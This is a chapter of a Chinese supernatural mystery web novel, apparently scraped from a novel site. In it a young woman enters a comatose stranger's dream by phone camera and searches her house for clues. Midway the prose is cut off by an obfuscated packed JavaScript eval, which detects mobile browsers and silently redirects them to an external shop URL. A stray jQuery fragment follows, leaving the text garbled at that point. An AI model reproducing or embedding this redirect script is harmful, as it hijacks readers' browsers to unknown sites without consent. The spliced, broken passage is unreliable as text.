伴随一道由远至近由虚转实的影子,一阵空灵悦耳的歌声几乎横穿这破旧的巷子,打破这老小区的平静。
酒吧后门外,一个黑帽兜抓着染血的棍棒,敲打墙角下的尼龙袋,袋里的东西起初是柔软,敲打久了,愈发坚硬。
最后等那人弯腰,伸手进袋子抓,抽手是如石的水泥块。
而就在他伸手抓东西的刹那,酒吧内出事了。
尹弈秋眼看身旁的女性要从吧台倒下,赶忙伸手扶着。对方也不知喝了什么酒,醉得完全不省人事,怎么喊都没睁开眼。
与她同行的何娜娜瞅了一眼,也帮忙喊了两声,没得到回应后,娜娜喊来调酒师,调酒师见状,离开一会后,带来一位潮男。
她们跟随对方,到干净的包厢,之后,娜娜和对方前后脚跟弈秋做了告别。
现在,包厢内只剩下弈秋,和这位陌生的“睡美人”。
弈秋随便挑个位坐下,拨打老尹的电话。
“喂。”老尹先声回应,掺杂时远时近的哀嚎声。
听安澜说,老尹大多任务都与她晚上任有关,她要想对方轻松些,得尽快适应这项工作。
“我似乎找到目标了。”尹弈秋瞟了一眼睡美人,“但我要怎么进梦?你们说的办法,我都用不上。”
“……你怎么确定对方是目标?”
老尹说完,风划破的呼呼声经扬声器传出,紧随一声短促而过大的哀嚎,响彻整个包厢。
尹弈秋吓了一跳,手机也差点落在地上。
“靠,要是我打的不是时候,你挂不行吗?”尹弈秋骂骂咧咧。
“你要不是新手,我真不会接。”老尹的声音忽高忽低,“所以你怎么确定?”
尹弈秋起身,走至到睡美人面前。
有些邪门的事,它被人发现,大多是常理难以解释。
这女孩从面部、到颈部交界处,有明显肤色差别,面部肤色过于苍白,当手指接触,感受不到任何温度。
呼吸尚在,心脏还在跳动,身体还有温度,都远低常人,且有逐渐叫停的迹象。
老尹静静听着,哀嚎声也好久没出,也许任务完成,也许他决定躲起来听尹弈秋的解释。
“如果你看得没错,是她,她目前还活着。”
老尹说完,顿了顿
“但离死也不远,怎么?你想救她?”
尹弈秋思考一番,嗯的一声。
既然还有转机,救了也行,下一个任务总能实现。
通常老尹为了规避麻烦,他会同意尹弈秋这种做法。
但这次他选择拒绝。
“这件事你想都别想。”老尹提醒她,“如果选择救她,任务要求会自动调整,难度也会随之上涨。你还没经过培训,别冒险。”
自她跟安澜通过电话,到现在,过去一周,对方始终没有再打来。
期间,她也主动拨打过,但无人接听。
安澜告诉她,正式进组前还需要接受培训,通过考验,她手里的那本证件才能生效。
只有生效,她才能动用组织的力量,调查自身出现的问题。
那个安澜组长,可能也是这个想法吧,想试探我与老尹的不同。
也许是她多虑,也许真是如此,不管如何,她确定,这个女人要是死了,黄涛他们一定引用当年的事扣住她。
她心下判断一出,便跟老尹说:“现在由不得你我了,你说吧,怎么做,我现在人在酒吧包厢。”
老尹沉默,良久,叹了口气:“先入梦,先用手机相机拍下她的照片。
尹弈秋照做。
“拍下照片后,再转摄影模式。”
尹弈秋再转摄影模式,顷刻间,房内陈设、环境出现巨大的变化。
扰人的音乐消失不见,包厢转变不知谁家的客厅,周围一片黑白,看不清家具的颜色,只能大致确定这些家具价格不菲。
原因从触感上,是实木,从家具外型上,更像是自居室,而非出租屋。
尹弈秋环顾四周,对这一切充满好奇。
冷不丁的,老尹喊了两声。
尹弈秋及时应答:“我现在在不知是谁家的客厅,周围一片黑白,这意思我已经在梦里吗?”
“是。当事人应该在附近,你去找找——不要被镜子照射到,一旦显形,当事人受到惊讶,梦境关闭,你会彻底迷失时空中。”
尹弈秋没有急于寻找,而是先去玄关口,弯腰打开鞋柜。
鞋柜清一色的女式高跟鞋,少部分的运动鞋,以及靴子。
再往下看,一排拖鞋里,有两三双的明显比其他的大上很多。
她合上鞋柜,来到厨房,依次打开了冰箱、碗柜,前者食物堆得满满当当,后者碗筷不多,她细数下,可供五六人。
老尹这会应该是完成任务,回话的细度远超之前。
“你觉得她是有对象的人?凭拖鞋吗?有没有可能是包养情人?”
老尹的问题值得思考,尹弈秋心想。
厨房紧连阳台,拐角就是厕所,尹弈秋特别看一眼,里面只有一个人的洗漱用品,毛巾也只有一个。
“好像真跟你说得差不多。”尹弈秋说完,心下生出一个疑问,“我这么跟你说,效率太慢了,可不可以拍下来给你看?”
老尹听了止不住笑:“你长得美,想得也美,你现在是偷偷闯入别人梦境,拍照会被当事人察觉。”
“我们现在打电话,还不够让当事人察觉?”
“只要你不是当当事人的面打电话,她不会察觉,当然视当事人精神情况而定。”
房间有三个,一个敞开,两个紧闭。
尹弈秋打开其中两个,一间书房,另一间杂物间,杂物间里,有两只猫分别躺在猫窝里,呼呼大睡。
这两间房间同样干净,也没有看到另一个人的生活痕迹。
“书房的电脑可以操作吗?”尹弈秋看着没关闭的显示屏,心下生疑,感觉里头能查出些什么。
“可以,调查完记得回归原样。”老尹提醒她,“以你所说的,当事人对当下情况一无所知,精神情况目前来良好,但你的介入,可能会引出一些蝴蝶效应,小心行事。”
电脑封面虽然看不清色彩,但大面积、数不清的Q版猫狗,当事人也是有着少女心吧。
看右下角,QQ和微信都开的,尹弈秋一一点开。
QQ回复基本是一些群聊,随便点开几个,约稿、bjd、韩团,嗯,爱好有些多。
微信反倒一堆个人聊天,其中聊天最多,是与一个网名星星符号的人聊得最多,点开朋友圈,与当事人年龄相仿。
尹弈秋把这件情况跟老尹讲,让他记录。
QQ空间和朋友圈也依次点开,啊,数不胜数的博条,大多是没营养的日常话题,多为牢骚。
当然,牢骚这块,有生活方面,也有工作方面。
电脑内部也大致翻看一遍,并没有可疑之处。
“我们看电脑时间有点久了,会不会让当事人起疑?”尹弈秋问道。
“不会,中此咒的人,很难自己清醒,梦境也不会受自己控制。”老尹回答。
敞开的房间自然是当事人的房间。房间称得上大,尽头处窗帘紧闭,仔细看还能看到晾衣架,估计这房间朝南,日常阳光毒辣,十分适合晾晒。
当事人正坐在桌上,对着镜子梳妆打扮,谢天谢地,那不是大镜子,只是一张脸大的小镜子,他们不需要刻意躲开。
这里也同样只有一个人的生活痕迹。
尹弈秋跟老尹说好自己探查后,立即投入了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815081|211023||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现场勘查工作,这学期学到的基础工作,在这都能用得上。
十分幸运,勘查刚刚开始,就有了新发现。
靠近柜子的床边有一双男士拖鞋。
就算不是,那明显也不是一个热衷精心打扮的女□□穿的款式。
是厕所吗?
因为没法及时跟老尹解释,只能自己先行一步,继续深入勘查。
没有专业工具,尹弈秋能做的,只能找寻显而易见的物品,再跟老尹进行粗略推演。
出乎意料,这里的发现远比其他房间大。
尹弈秋走到窗帘边,从收起的晾衣架上,看到夹在其中的男士内裤、以及男士袜子。
这会她又回头看向当事人,对方没注意到她,仍在开开心心梳妆打扮中。
越过她本人,床上十分整洁,完全不像有人躺过。
是提前整理好吗?
既然如此,那男方也不应该很快走掉啊,拖鞋也没有穿走的迹象。
是只有她一人?
还是这个家有两个厕所。
抱着这样的疑问,她重新回到门口,拿出手机,吓人!怎么通话时间还停留在十分钟。
手机无法记录梦境时间吗?
尹弈秋心想着,顺带把方才的所见所闻告知老尹,并说出自己的看法。
“还有第三人的存在?”老尹声音有点闷,“如果是凶手,那你要小心,对方既然能让当事人陷入梦境,让他和我们一样,都能在梦境随意走动。”
尹弈秋往回退,退居书房口,对面正是对准一个楼梯。
上了楼梯后,映入眼帘是一条U型长廊,长廊尽头分别有一扇门。
交叉路口处,放有一个牌子
【只有一条生路】
“只有一条生路?看来对方察觉到我们存在,现在不出面,大概担心因为打斗梦境坍塌。”
老尹说得势在必得,尹弈秋却不这么认为。
“是吗?我倒觉得这牌子不一定给我们看,可能是给当事人看?这个家的面积,养活一个男人不难。”尹弈秋提出自己的看法。
随意点点点,尹弈秋决定先往左边走,快步走至尽头,伸手抓住门把,往下一摁,推开!
里面确实藏着一个男人。
房间很宽敞,以肉眼看,不亚于女方的主卧。
房间很干净,每个家具上,都没有多余、不合时宜的摆件。
男人躺在床上,没有盖被子,尹弈秋走过去看,发现对方睁大眼睛,呆呆的看着天花板。
尹弈秋顺着他视线往上看,呼吸一瞬滞住。
一只巨大的眼睛,眼珠子自动打转。
不清楚是机关所为,还是某种未知能力。
尹弈秋在房间踱步,励志寻找更有价值的义务。
调查好一会,还是没发现任何迹象后,尹弈秋只能退出房间,并为其关上门。
跟老尹详细讲了情况后,老尹没有回话。
尹弈秋等不了他的回答,快马加鞭往右边方向走。
右边的门与左边的门毫无二致。
不过,当她低下头,看到门把上的血手印,眉头顿时紧锁。
此时此刻,老尹仍是没有回应。
尹弈秋打量这血手印。
从覆盖程度上,力度上,这是男人的手印。
再往下看,地上并无任何血迹。
是清扫了吗?
周围原因,尹弈秋无法确定血迹是否干涸,手上也没有手套,她不能破坏现场。
用什么办法开门呢?
尹弈秋正苦思冥想,电话终于传来声音。
“快走!”老尹低声吼道,“走不了就躲起来!”
尹弈秋还没反应过来,面前的门,和身后的门,传来从里面开门的咔嚓声。